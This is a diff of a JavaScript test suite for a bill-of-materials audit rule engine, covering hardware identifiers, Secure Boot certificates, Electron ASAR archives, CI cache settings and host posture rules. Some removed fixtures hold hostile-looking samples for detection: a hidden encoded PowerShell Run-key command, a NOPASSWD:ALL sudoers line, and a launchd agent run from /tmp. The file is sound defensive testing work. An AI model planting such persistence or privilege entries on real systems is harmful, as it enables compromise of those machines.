+ [
683
+ ["cdx:hbom:platform", "darwin"],
684
+ ["cdx:hbom:architecture", "arm64"],
685
+ ["cdx:hbom:identifierPolicy", "redacted-by-default"],
686
+ ["cdx:hbom:serialNumber", "redacted:serialNumber"],
687
+ ["cdx:hbom:platformUuid", "redacted:platformUuid"],
688
+ ],
689
+ [["cdx:hbom:collectorProfile", "darwin-arm64"]],
690
+ );
691
+
692
+ const findings = await evaluateRule(rule, bom);
693
+ assert.strictEqual(findings.length, 0);
694
+ });
695
+
696
+ it("should not flag redacted modem identifiers for the cellular exposure rule", async () => {
697
+ const rules = await loadRules(RULES_DIR);
698
+ const rule = rules.find((r) => r.id === "HBS-006");
699
+
700
+ const bom = makeHbomBom(
701
+ [
702
+ makeHbomComponent("LTE Modem", "modem", [
703
+ ["cdx:hbom:imei", "redacted:imei"],
704
+ ["cdx:hbom:ownNumbers", "redacted:ownNumbers"],
705
+ ]),
706
+ ],
707
+ [["cdx:hbom:identifierPolicy", "redacted-by-default"]],
708
+ );
709
+
710
+ const findings = await evaluateRule(rule, bom);
711
+ assert.strictEqual(findings.length, 0);
712
+ });
713
+
714
+ it("should not flag healthy storage telemetry for the degraded-storage HBOM rule", async () => {
715
+ const rules = await loadRules(RULES_DIR);
716
+ const rule = rules.find((r) => r.id === "HBP-002");
717
+
718
+ const bom = makeHbomBom([
719
+ makeHbomComponent("nvme0", "storage", [
720
+ ["cdx:hbom:wearPercentageUsed", "12"],
721
+ ["cdx:hbom:smartStatus", "ok"],
722
+ ]),
723
+ ]);
724
+
725
+ const findings = await evaluateRule(rule, bom);
726
+ assert.strictEqual(findings.length, 0);
727
+ });
728
+
729
+ it("should safely handle human-readable online memory size values for the HBOM memory rule", async () => {
730
+ const rules = await loadRules(RULES_DIR);
731
+ const rule = rules.find((r) => r.id === "HBP-006");
732
+
733
+ const bom = makeHbomBom([
734
+ makeHbomComponent("System Memory", "memory", [
735
+ ["cdx:hbom:sizeBytes", "32899006464"],
736
+ ["cdx:hbom:memoryOnlineSize", "32 GB"],
737
+ ]),
738
+ ]);
739
+
740
+ const findings = await evaluateRule(rule, bom);
741
+ assert.strictEqual(findings.length, 0);
742
+ });
743
+
744
+ it("should expand the hbom alias to all HBOM audit categories", async () => {
745
+ const bom = makeHbomBom(
746
+ [
747
+ makeHbomComponent("Main SSD", "storage", [
748
+ ["cdx:hbom:isEncrypted", "false"],
749
+ ["cdx:hbom:wearPercentageUsed", "90"],
750
+ ]),
751
+ ],
752
+ [
753
+ ["cdx:hbom:platform", "linux"],
754
+ ["cdx:hbom:identifierPolicy", "full"],
755
+ ],
756
+ [["cdx:hbom:collectorProfile", "linux-amd64"]],
757
+ );
758
+
759
+ const findings = await auditBom(bom, {
760
+ bomAuditCategories: "hbom",
761
+ });
762
+ const categories = new Set(findings.map((finding) => finding.category));
763
+
764
+ assert.ok(categories.has("hbom-security"));
765
+ assert.ok(categories.has("hbom-performance"));
766
+ assert.ok(categories.has("hbom-compliance"));
767
+ });
768
+
769
+ it("should detect Collider packages missing valid wrap hashes (INT-014)", async () => {
770
+ const rules = await loadRules(RULES_DIR);
771
+ const rule = rules.find((r) => r.id === "INT-014");
772
+ assert.ok(rule, "INT-014 rule should exist");
773
+
774
+ const bom = makeBom([
775
+ makeComponent("fast_float", "8.0.2", [
776
+ ["cdx:collider:dependencyKind", "transitive"],
777
+ ["cdx:collider:hasWrapHash", "false"],
778
+ ["cdx:collider:wrapHash", "not-a-sha256"],
779
+ ["cdx:collider:wrapHashInvalid", "true"],
780
+ ]),
781
+ ]);
782
+
783
+ const findings = await evaluateRule(rule, bom);
784
+ assert.ok(findings.length > 0, "Should detect missing Collider wrap hash");
785
+ assert.strictEqual(findings[0].ruleId, "INT-014");
786
+ assert.strictEqual(findings[0].severity, "high");
787
+ });
788
+
210
789
  it("should detect OIDC token issuance to a non-official action (CI-002)", async () => {
211
790
  const rules = await loadRules(RULES_DIR);
212
791
  const rule = rules.find((r) => r.id === "CI-002");
@@ -273,17 +852,57 @@ describe("evaluateRule", () => {
273
852
  assert.strictEqual(findings[0].severity, "critical");
274
853
  });
275
854
 
276
- it("should detect a network-exposed non-official MCP server (MCP-003)", async () => {
855
+ it("should detect revoked Secure Boot certificates (OBOM-LNX-012)", async () => {
277
856
  const rules = await loadRules(RULES_DIR);
278
- const rule = rules.find((r) => r.id === "MCP-003");
279
- assert.ok(rule, "MCP-003 rule should exist");
857
+ const rule = rules.find((r) => r.id === "OBOM-LNX-012");
858
+ assert.ok(rule, "OBOM-LNX-012 rule should exist");
280
859
 
281
- const bom = makeBom(
282
- [],
283
- [],
284
- [],
285
- [
286
- {
860
+ const bom = makeBom([
861
+ makeComponent("dbx-entry", "key-id-1", [
862
+ ["cdx:osquery:category", "secureboot_certificates"],
863
+ ["revoked", "1"],
864
+ ["subject", "CN=Legacy Bootloader"],
865
+ ["issuer", "CN=Platform DBX"],
866
+ ["serial", "42"],
867
+ ]),
868
+ ]);
869
+
870
+ const findings = await evaluateRule(rule, bom);
871
+ assert.ok(findings.length > 0, "Should detect revoked Secure Boot cert");
872
+ assert.strictEqual(findings[0].severity, "high");
873
+ });
874
+
875
+ it("should detect expiring Secure Boot certificates (OBOM-LNX-013)", async () => {
876
+ const rules = await loadRules(RULES_DIR);
877
+ const rule = rules.find((r) => r.id === "OBOM-LNX-013");
878
+ assert.ok(rule, "OBOM-LNX-013 rule should exist");
879
+
880
+ const bom = makeBom([
881
+ makeComponent("db-entry", "key-id-2", [
882
+ ["cdx:osquery:category", "secureboot_certificates"],
883
+ ["not_valid_after", `${Math.floor(Date.now() / 1000) + 86400}`],
884
+ ["not_valid_before", `${Math.floor(Date.now() / 1000) - 86400}`],
885
+ ["subject", "CN=Current Platform Key"],
886
+ ["issuer", "CN=Firmware CA"],
887
+ ]),
888
+ ]);
889
+
890
+ const findings = await evaluateRule(rule, bom);
891
+ assert.ok(findings.length > 0, "Should detect expiring Secure Boot cert");
892
+ assert.strictEqual(findings[0].severity, "medium");
893
+ });
894
+
895
+ it("should detect a network-exposed non-official MCP server (MCP-003)", async () => {
896
+ const rules = await loadRules(RULES_DIR);
897
+ const rule = rules.find((r) => r.id === "MCP-003");
898
+ assert.ok(rule, "MCP-003 rule should exist");
899
+
900
+ const bom = makeBom(
901
+ [],
902
+ [],
903
+ [],
904
+ [
905
+ {
287
906
  "bom-ref": "urn:service:mcp:custom-wrapper:0.1.0",
288
907
  name: "custom-wrapper",
289
908
  version: "0.1.0",
@@ -969,6 +1588,123 @@ describe("evaluateRule", () => {
969
1588
  assert.strictEqual(findings[0].severity, "high");
970
1589
  });
971
1590
 
1591
+ it("should detect eval-like archived JavaScript (ASAR-001)", async () => {
1592
+ const rules = await loadRules(RULES_DIR);
1593
+ const rule = rules.find((r) => r.id === "ASAR-001");
1594
+ assert.ok(rule, "ASAR-001 rule should exist");
1595
+ const bom = makeBom([
1596
+ {
1597
+ type: "file",
1598
+ name: "main.js",
1599
+ "bom-ref": "file:/tmp/app.asar#/main.js",
1600
+ properties: [
1601
+ { name: "cdx:file:kind", value: "asar-entry" },
1602
+ { name: "SrcFile", value: "/tmp/app.asar" },
1603
+ { name: "cdx:asar:path", value: "main.js" },
1604
+ { name: "cdx:asar:js:hasEval", value: "true" },
1605
+ ],
1606
+ },
1607
+ ]);
1608
+ const findings = await evaluateRule(rule, bom);
1609
+ assert.ok(findings.length > 0, "Should detect ASAR eval signal");
1610
+ assert.strictEqual(findings[0].ruleId, "ASAR-001");
1611
+ });
1612
+
1613
+ it("should detect archived JavaScript with network plus local access (ASAR-002)", async () => {
1614
+ const rules = await loadRules(RULES_DIR);
1615
+ const rule = rules.find((r) => r.id === "ASAR-002");
1616
+ assert.ok(rule, "ASAR-002 rule should exist");
1617
+ const bom = makeBom([
1618
+ {
1619
+ type: "file",
1620
+ name: "main.js",
1621
+ "bom-ref": "file:/tmp/app.asar#/main.js",
1622
+ properties: [
1623
+ { name: "cdx:file:kind", value: "asar-entry" },
1624
+ { name: "SrcFile", value: "/tmp/app.asar" },
1625
+ { name: "cdx:asar:path", value: "main.js" },
1626
+ { name: "cdx:asar:js:capability:network", value: "true" },
1627
+ { name: "cdx:asar:js:capability:fileAccess", value: "true" },
1628
+ { name: "cdx:asar:js:networkIndicators", value: "fetch(dynamic)" },
1629
+ ],
1630
+ },
1631
+ ]);
1632
+ const findings = await evaluateRule(rule, bom);
1633
+ assert.ok(findings.length > 0, "Should detect ASAR capability overlap");
1634
+ assert.strictEqual(findings[0].ruleId, "ASAR-002");
1635
+ });
1636
+
1637
+ it("should detect ASAR integrity mismatches (ASAR-003)", async () => {
1638
+ const rules = await loadRules(RULES_DIR);
1639
+ const rule = rules.find((r) => r.id === "ASAR-003");
1640
+ assert.ok(rule, "ASAR-003 rule should exist");
1641
+ const bom = makeBom([
1642
+ {
1643
+ type: "file",
1644
+ name: "settings.json",
1645
+ "bom-ref": "file:/tmp/app.asar#/settings.json",
1646
+ properties: [
1647
+ { name: "cdx:file:kind", value: "asar-entry" },
1648
+ { name: "SrcFile", value: "/tmp/app.asar" },
1649
+ { name: "cdx:asar:path", value: "settings.json" },
1650
+ { name: "cdx:asar:declaredIntegrityHash", value: "00" },
1651
+ { name: "cdx:asar:integrityVerified", value: "false" },
1652
+ ],
1653
+ },
1654
+ ]);
1655
+ const findings = await evaluateRule(rule, bom);
1656
+ assert.ok(findings.length > 0, "Should detect ASAR integrity mismatch");
1657
+ assert.strictEqual(findings[0].ruleId, "ASAR-003");
1658
+ });
1659
+
1660
+ it("should detect embedded install scripts from ASAR-derived npm components (ASAR-004)", async () => {
1661
+ const rules = await loadRules(RULES_DIR);
1662
+ const rule = rules.find((r) => r.id === "ASAR-004");
1663
+ assert.ok(rule, "ASAR-004 rule should exist");
1664
+ const bom = makeBom([
1665
+ makeComponent("sketchy-addon", "0.1.0", [
1666
+ ["SrcFile", "/tmp/app.asar#/package-lock.json"],
1667
+ ["cdx:npm:hasInstallScript", "true"],
1668
+ ["cdx:npm:risky_scripts", "preinstall"],
1669
+ ]),
1670
+ ]);
1671
+ const findings = await evaluateRule(rule, bom);
1672
+ assert.ok(
1673
+ findings.length > 0,
1674
+ "Should detect embedded ASAR install scripts",
1675
+ );
1676
+ assert.strictEqual(findings[0].ruleId, "ASAR-004");
1677
+ });
1678
+
1679
+ it("should detect failed Electron ASAR signing verification (ASAR-005)", async () => {
1680
+ const rules = await loadRules(RULES_DIR);
1681
+ const rule = rules.find((r) => r.id === "ASAR-005");
1682
+ assert.ok(rule, "ASAR-005 rule should exist");
1683
+ const bom = makeBom([
1684
+ {
1685
+ type: "application",
1686
+ name: "signed-app.asar",
1687
+ "bom-ref": "file:/tmp/Signed.app/Contents/Resources/app.asar",
1688
+ properties: [
1689
+ { name: "cdx:file:kind", value: "asar-archive" },
1690
+ {
1691
+ name: "SrcFile",
1692
+ value: "/tmp/Signed.app/Contents/Resources/app.asar",
1693
+ },
1694
+ { name: "cdx:asar:hasSigningMetadata", value: "true" },
1695
+ { name: "cdx:asar:signingAlgorithm", value: "SHA256" },
1696
+ { name: "cdx:asar:signingDeclaredHash", value: "deadbeef" },
1697
+ { name: "cdx:asar:signingSource", value: "Info.plist" },
1698
+ { name: "cdx:asar:signingScope", value: "header-only" },
1699
+ { name: "cdx:asar:signingVerified", value: "false" },
1700
+ ],
1701
+ },
1702
+ ]);
1703
+ const findings = await evaluateRule(rule, bom);
1704
+ assert.ok(findings.length > 0, "Should detect failed ASAR signing");
1705
+ assert.strictEqual(findings[0].ruleId, "ASAR-005");
1706
+ });
1707
+
972
1708
  it("should return empty findings when no components match", async () => {
973
1709
  const rules = await loadRules(RULES_DIR);
974
1710
  const rule = rules.find((r) => r.id === "CI-001");
@@ -1184,11 +1920,7 @@ describe("evaluateRule", () => {
1184
1920
 
1185
1921
  const findings = await evaluateRule(rule, bom);
1186
1922
  assert.ok(findings.length > 0, "Should detect runner-state mutation");
1187
- assert.deepStrictEqual(findings[0].attackTactics, [
1188
- "TA0003",
1189
- "TA0004",
1190
- "TA0005",
1191
- ]);
1923
+ assert.deepStrictEqual(findings[0].attackTactics, ["TA0002"]);
1192
1924
  });
1193
1925
 
1194
1926
  it("should detect outbound commands that reference sensitive context (CI-015)", async () => {
@@ -1434,1300 +2166,2545 @@ describe("evaluateRule", () => {
1434
2166
  assert.match(findings[0].message, /Heuristic review/);
1435
2167
  });
1436
2168
 
1437
- it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
2169
+ it("should detect disabled npm cache when npm distributions are resolved remotely (CI-022)", async () => {
1438
2170
  const rules = await loadRules(RULES_DIR);
1439
- const rule = rules.find((r) => r.id === "OBOM-LNX-003");
1440
- assert.ok(rule, "OBOM-LNX-003 rule should exist");
1441
-
1442
- const bom = makeBom([
1443
- {
1444
- type: "data",
1445
- name: "root",
1446
- version: "ssh-rsa",
1447
- description: "",
1448
- purl: "pkg:swid/root-authorized-keys",
1449
- "bom-ref": "pkg:swid/root-authorized-keys",
1450
- properties: [
1451
- { name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
1452
- { name: "key_file", value: "/root/.ssh/authorized_keys" },
1453
- { name: "options", value: "" },
1454
- ],
1455
- },
1456
- ]);
2171
+ const rule = rules.find((r) => r.id === "CI-022");
2172
+ assert.ok(rule, "CI-022 rule should exist");
1457
2173
 
1458
- const findings = await evaluateRule(rule, bom);
1459
- assert.ok(
1460
- findings.length > 0,
1461
- "Should detect unrestricted root authorized_keys entry",
2174
+ const bom = makeBom(
2175
+ [
2176
+ {
2177
+ type: "library",
2178
+ name: "left-pad",
2179
+ version: "1.3.0",
2180
+ purl: "pkg:npm/left-pad@1.3.0",
2181
+ "bom-ref": "pkg:npm/left-pad@1.3.0",
2182
+ externalReferences: [
2183
+ {
2184
+ type: "distribution",
2185
+ url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
2186
+ },
2187
+ ],
2188
+ properties: [
2189
+ {
2190
+ name: "cdx:npm:manifestSourceType",
2191
+ value: "url",
2192
+ },
2193
+ {
2194
+ name: "cdx:npm:manifestSource",
2195
+ value: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
2196
+ },
2197
+ ],
2198
+ },
2199
+ ],
2200
+ [],
2201
+ [
2202
+ {
2203
+ type: "application",
2204
+ name: "setup-node",
2205
+ version: "v4",
2206
+ purl: "pkg:github/actions/setup-node@v4",
2207
+ "bom-ref": "pkg:github/actions/setup-node@v4",
2208
+ properties: [
2209
+ {
2210
+ name: "cdx:github:action:uses",
2211
+ value: "actions/setup-node@v4",
2212
+ },
2213
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2214
+ { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
2215
+ {
2216
+ name: "cdx:github:action:buildCacheDisableInput",
2217
+ value: "package-manager-cache",
2218
+ },
2219
+ {
2220
+ name: "cdx:github:action:buildCacheDisableValue",
2221
+ value: "false",
2222
+ },
2223
+ {
2224
+ name: "cdx:github:workflow:file",
2225
+ value: ".github/workflows/ci.yml",
2226
+ },
2227
+ ],
2228
+ },
2229
+ ],
1462
2230
  );
1463
- assert.strictEqual(findings[0].severity, "medium");
1464
- });
1465
-
1466
- it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
1467
- const rules = await loadRules(RULES_DIR);
1468
- const rule = rules.find((r) => r.id === "OBOM-WIN-002");
1469
- assert.ok(rule, "OBOM-WIN-002 rule should exist");
1470
-
1471
- const bom = makeBom([
1472
- makeComponent("Poor", "Poor", [
1473
- ["cdx:osquery:category", "windows_security_center"],
1474
- ]),
1475
- ]);
1476
2231
 
1477
2232
  const findings = await evaluateRule(rule, bom);
1478
- assert.ok(findings.length > 0, "Should detect unhealthy security center");
1479
- assert.strictEqual(findings[0].severity, "high");
2233
+ assert.ok(findings.length > 0, "Should detect disabled npm cache");
2234
+ assert.strictEqual(findings[0].severity, "medium");
1480
2235
  });
1481
2236
 
1482
- it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
2237
+ it("should detect disabled npm cache for git manifest sources (CI-022)", async () => {
1483
2238
  const rules = await loadRules(RULES_DIR);
1484
- const rule = rules.find((r) => r.id === "OBOM-WIN-003");
1485
- assert.ok(rule, "OBOM-WIN-003 rule should exist");
2239
+ const rule = rules.find((r) => r.id === "CI-022");
2240
+ assert.ok(rule, "CI-022 rule should exist");
1486
2241
 
1487
- const bom = makeBom([
1488
- {
1489
- type: "data",
1490
- name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
1491
- version: "",
1492
- description:
1493
- "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
1494
- purl: "pkg:swid/windows-run-key-updater",
1495
- "bom-ref": "pkg:swid/windows-run-key-updater",
1496
- properties: [
1497
- { name: "cdx:osquery:category", value: "windows_run_keys" },
1498
- ],
1499
- },
1500
- ]);
2242
+ const bom = makeBom(
2243
+ [
2244
+ {
2245
+ type: "library",
2246
+ name: "git-dep",
2247
+ version: "2.0.0",
2248
+ purl: "pkg:npm/git-dep@2.0.0",
2249
+ "bom-ref": "pkg:npm/git-dep@2.0.0",
2250
+ externalReferences: [
2251
+ {
2252
+ type: "distribution",
2253
+ url: "git+https://github.com/acme/git-dep.git",
2254
+ },
2255
+ ],
2256
+ properties: [
2257
+ {
2258
+ name: "cdx:npm:manifestSourceType",
2259
+ value: "git",
2260
+ },
2261
+ {
2262
+ name: "cdx:npm:manifestSource",
2263
+ value: "git+https://github.com/acme/git-dep.git",
2264
+ },
2265
+ ],
2266
+ },
2267
+ ],
2268
+ [],
2269
+ [
2270
+ {
2271
+ type: "application",
2272
+ name: "setup-node",
2273
+ version: "v4",
2274
+ purl: "pkg:github/actions/setup-node@v4",
2275
+ "bom-ref": "pkg:github/actions/setup-node@v4",
2276
+ properties: [
2277
+ {
2278
+ name: "cdx:github:action:uses",
2279
+ value: "actions/setup-node@v4",
2280
+ },
2281
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2282
+ { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
2283
+ ],
2284
+ },
2285
+ ],
2286
+ );
1501
2287
 
1502
2288
  const findings = await evaluateRule(rule, bom);
1503
- assert.ok(findings.length > 0, "Should detect suspicious run key command");
1504
- assert.strictEqual(findings[0].severity, "critical");
2289
+ assert.ok(findings.length > 0, "Should detect disabled npm cache");
1505
2290
  });
1506
2291
 
1507
- it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
2292
+ it("should not detect disabled npm cache for registry-only npm dependencies (CI-022)", async () => {
1508
2293
  const rules = await loadRules(RULES_DIR);
1509
- const rule = rules.find((r) => r.id === "OBOM-MAC-001");
1510
- assert.ok(rule, "OBOM-MAC-001 rule should exist");
2294
+ const rule = rules.find((r) => r.id === "CI-022");
2295
+ assert.ok(rule, "CI-022 rule should exist");
1511
2296
 
1512
- const bom = makeBom([
1513
- makeComponent("alf", "0", [
1514
- ["cdx:osquery:category", "alf"],
1515
- ["stealth_enabled", "0"],
1516
- ]),
1517
- ]);
2297
+ const bom = makeBom(
2298
+ [
2299
+ {
2300
+ type: "library",
2301
+ name: "left-pad",
2302
+ version: "1.3.0",
2303
+ purl: "pkg:npm/left-pad@1.3.0",
2304
+ "bom-ref": "pkg:npm/left-pad@1.3.0",
2305
+ externalReferences: [
2306
+ {
2307
+ type: "distribution",
2308
+ url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
2309
+ },
2310
+ ],
2311
+ },
2312
+ ],
2313
+ [],
2314
+ [
2315
+ {
2316
+ type: "application",
2317
+ name: "setup-node",
2318
+ version: "v4",
2319
+ purl: "pkg:github/actions/setup-node@v4",
2320
+ "bom-ref": "pkg:github/actions/setup-node@v4",
2321
+ properties: [
2322
+ {
2323
+ name: "cdx:github:action:uses",
2324
+ value: "actions/setup-node@v4",
2325
+ },
2326
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2327
+ { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
2328
+ ],
2329
+ },
2330
+ ],
2331
+ );
1518
2332
 
1519
2333
  const findings = await evaluateRule(rule, bom);
1520
- assert.ok(findings.length > 0, "Should detect weak firewall posture");
1521
- assert.strictEqual(findings[0].severity, "high");
2334
+ assert.strictEqual(findings.length, 0);
1522
2335
  });
1523
2336
 
1524
- it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
2337
+ it("should not detect disabled npm cache for local path manifest sources (CI-022)", async () => {
1525
2338
  const rules = await loadRules(RULES_DIR);
1526
- const rule = rules.find((r) => r.id === "OBOM-MAC-002");
1527
- assert.ok(rule, "OBOM-MAC-002 rule should exist");
2339
+ const rule = rules.find((r) => r.id === "CI-022");
2340
+ assert.ok(rule, "CI-022 rule should exist");
1528
2341
 
1529
- const bom = makeBom([
1530
- {
1531
- type: "data",
1532
- name: "com.bad.agent",
1533
- version: "",
1534
- description: "",
1535
- purl: "pkg:swid/mac-launchd-bad-agent",
1536
- "bom-ref": "pkg:swid/mac-launchd-bad-agent",
1537
- properties: [
1538
- { name: "cdx:osquery:category", value: "launchd_services" },
1539
- { name: "path", value: "/tmp/com.bad.agent.plist" },
1540
- { name: "program", value: "/tmp/bad-agent" },
1541
- { name: "run_at_load", value: "true" },
1542
- ],
1543
- },
1544
- ]);
2342
+ const bom = makeBom(
2343
+ [
2344
+ {
2345
+ type: "library",
2346
+ name: "local-dep",
2347
+ version: "1.0.0",
2348
+ purl: "pkg:npm/local-dep@1.0.0",
2349
+ "bom-ref": "pkg:npm/local-dep@1.0.0",
2350
+ externalReferences: [
2351
+ {
2352
+ type: "distribution",
2353
+ url: "file:../libs/local-dep",
2354
+ },
2355
+ ],
2356
+ properties: [
2357
+ {
2358
+ name: "cdx:npm:manifestSourceType",
2359
+ value: "path",
2360
+ },
2361
+ {
2362
+ name: "cdx:npm:manifestSource",
2363
+ value: "file:../libs/local-dep",
2364
+ },
2365
+ ],
2366
+ },
2367
+ ],
2368
+ [],
2369
+ [
2370
+ {
2371
+ type: "application",
2372
+ name: "setup-node",
2373
+ version: "v4",
2374
+ purl: "pkg:github/actions/setup-node@v4",
2375
+ "bom-ref": "pkg:github/actions/setup-node@v4",
2376
+ properties: [
2377
+ {
2378
+ name: "cdx:github:action:uses",
2379
+ value: "actions/setup-node@v4",
2380
+ },
2381
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2382
+ { name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
2383
+ ],
2384
+ },
2385
+ ],
2386
+ );
1545
2387
 
1546
2388
  const findings = await evaluateRule(rule, bom);
1547
- assert.ok(findings.length > 0, "Should detect suspicious launchd service");
1548
- assert.strictEqual(findings[0].severity, "critical");
2389
+ assert.strictEqual(findings.length, 0);
1549
2390
  });
1550
2391
 
1551
- it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
2392
+ it("should detect disabled Python cache when pylock sources use remote artifacts (CI-023)", async () => {
1552
2393
  const rules = await loadRules(RULES_DIR);
1553
- const rule = rules.find((r) => r.id === "OBOM-MAC-003");
1554
- assert.ok(rule, "OBOM-MAC-003 rule should exist");
2394
+ const rule = rules.find((r) => r.id === "CI-023");
2395
+ assert.ok(rule, "CI-023 rule should exist");
1555
2396
 
1556
- const bom = makeBom([
1557
- {
1558
- type: "data",
1559
- name: "/Users/alice/Downloads/remote-control.app",
1560
- version: "1",
1561
- description: "",
1562
- purl: "pkg:swid/mac-alf-exception",
1563
- "bom-ref": "pkg:swid/mac-alf-exception",
1564
- properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
1565
- },
1566
- ]);
2397
+ const bom = makeBom(
2398
+ [
2399
+ {
2400
+ type: "library",
2401
+ name: "requests",
2402
+ version: "2.32.0",
2403
+ purl: "pkg:pypi/requests@2.32.0",
2404
+ "bom-ref": "pkg:pypi/requests@2.32.0",
2405
+ properties: [
2406
+ {
2407
+ name: "cdx:pypi:manifestSourceType",
2408
+ value: "url",
2409
+ },
2410
+ {
2411
+ name: "cdx:pypi:manifestSource",
2412
+ value:
2413
+ "https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz",
2414
+ },
2415
+ ],
2416
+ },
2417
+ ],
2418
+ [],
2419
+ [
2420
+ {
2421
+ type: "application",
2422
+ name: "setup-python",
2423
+ version: "v5",
2424
+ purl: "pkg:github/actions/setup-python@v5",
2425
+ "bom-ref": "pkg:github/actions/setup-python@v5",
2426
+ properties: [
2427
+ {
2428
+ name: "cdx:github:action:uses",
2429
+ value: "actions/setup-python@v5",
2430
+ },
2431
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2432
+ { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
2433
+ {
2434
+ name: "cdx:github:action:buildCacheDisableInput",
2435
+ value: "cache",
2436
+ },
2437
+ {
2438
+ name: "cdx:github:action:buildCacheDisableValue",
2439
+ value: "false",
2440
+ },
2441
+ {
2442
+ name: "cdx:github:workflow:file",
2443
+ value: ".github/workflows/ci.yml",
2444
+ },
2445
+ ],
2446
+ },
2447
+ ],
2448
+ );
1567
2449
 
1568
2450
  const findings = await evaluateRule(rule, bom);
1569
- assert.ok(findings.length > 0, "Should detect risky ALF exception path");
2451
+ assert.ok(findings.length > 0, "Should detect disabled Python cache");
1570
2452
  assert.strictEqual(findings[0].severity, "medium");
1571
2453
  });
1572
2454
 
1573
- it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
2455
+ it("should detect disabled Python cache for git manifest sources (CI-023)", async () => {
1574
2456
  const rules = await loadRules(RULES_DIR);
1575
- const rule = rules.find((r) => r.id === "OBOM-LNX-002");
1576
- assert.ok(rule, "OBOM-LNX-002 rule should exist");
2457
+ const rule = rules.find((r) => r.id === "CI-023");
2458
+ assert.ok(rule, "CI-023 rule should exist");
1577
2459
 
1578
- const bom = makeBom([
1579
- {
1580
- type: "data",
1581
- name: "admin-policy",
1582
- version: "",
1583
- description: "admin ALL=(ALL) NOPASSWD:ALL",
1584
- purl: "pkg:swid/admin-policy",
1585
- "bom-ref": "pkg:swid/admin-policy",
1586
- properties: [
1587
- { name: "cdx:osquery:category", value: "sudoers_snapshot" },
1588
- ],
1589
- },
1590
- ]);
2460
+ const bom = makeBom(
2461
+ [
2462
+ {
2463
+ type: "library",
2464
+ name: "private-lib",
2465
+ version: "1.0.0",
2466
+ purl: "pkg:pypi/private-lib@1.0.0",
2467
+ "bom-ref": "pkg:pypi/private-lib@1.0.0",
2468
+ properties: [
2469
+ {
2470
+ name: "cdx:pypi:manifestSourceType",
2471
+ value: "git",
2472
+ },
2473
+ {
2474
+ name: "cdx:pypi:manifestSource",
2475
+ value: "git+https://github.com/acme/private-lib.git",
2476
+ },
2477
+ ],
2478
+ },
2479
+ ],
2480
+ [],
2481
+ [
2482
+ {
2483
+ type: "application",
2484
+ name: "setup-python",
2485
+ version: "v5",
2486
+ purl: "pkg:github/actions/setup-python@v5",
2487
+ "bom-ref": "pkg:github/actions/setup-python@v5",
2488
+ properties: [
2489
+ {
2490
+ name: "cdx:github:action:uses",
2491
+ value: "actions/setup-python@v5",
2492
+ },
2493
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2494
+ { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
2495
+ ],
2496
+ },
2497
+ ],
2498
+ );
1591
2499
 
1592
2500
  const findings = await evaluateRule(rule, bom);
1593
- assert.ok(findings.length > 0, "Should detect broad sudoers policy");
1594
- assert.strictEqual(findings[0].severity, "high");
2501
+ assert.ok(findings.length > 0, "Should detect disabled Python cache");
1595
2502
  });
1596
2503
 
1597
- it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
2504
+ it("should not detect disabled Python cache for registry-only lockfile sources (CI-023)", async () => {
1598
2505
  const rules = await loadRules(RULES_DIR);
1599
- const rule = rules.find((r) => r.id === "OBOM-LNX-002");
1600
- assert.ok(rule, "OBOM-LNX-002 rule should exist");
2506
+ const rule = rules.find((r) => r.id === "CI-023");
2507
+ assert.ok(rule, "CI-023 rule should exist");
1601
2508
 
1602
- const bom = makeBom([
1603
- {
1604
- type: "data",
1605
- name: "legacy-admin-policy",
1606
- version: "",
1607
- description: "admin ALL=(ALL) ALL",
1608
- purl: "pkg:swid/legacy-admin-policy",
1609
- "bom-ref": "pkg:swid/legacy-admin-policy",
1610
- properties: [
1611
- { name: "cdx:osquery:category", value: "sudoers_snapshot" },
1612
- ],
1613
- },
1614
- ]);
2509
+ const bom = makeBom(
2510
+ [
2511
+ {
2512
+ type: "library",
2513
+ name: "requests",
2514
+ version: "2.32.0",
2515
+ purl: "pkg:pypi/requests@2.32.0",
2516
+ "bom-ref": "pkg:pypi/requests@2.32.0",
2517
+ properties: [
2518
+ {
2519
+ name: "cdx:pylock:archive",
2520
+ value:
2521
+ '{"url":"https://files.pythonhosted.org/packages/requests-2.32.0.tar.gz"}',
2522
+ },
2523
+ ],
2524
+ },
2525
+ ],
2526
+ [],
2527
+ [
2528
+ {
2529
+ type: "application",
2530
+ name: "setup-python",
2531
+ version: "v5",
2532
+ purl: "pkg:github/actions/setup-python@v5",
2533
+ "bom-ref": "pkg:github/actions/setup-python@v5",
2534
+ properties: [
2535
+ {
2536
+ name: "cdx:github:action:uses",
2537
+ value: "actions/setup-python@v5",
2538
+ },
2539
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2540
+ { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
2541
+ ],
2542
+ },
2543
+ ],
2544
+ );
1615
2545
 
1616
2546
  const findings = await evaluateRule(rule, bom);
1617
- assert.ok(
1618
- findings.length > 0,
1619
- "Should detect ALL=(ALL) ALL sudoers policy",
1620
- );
1621
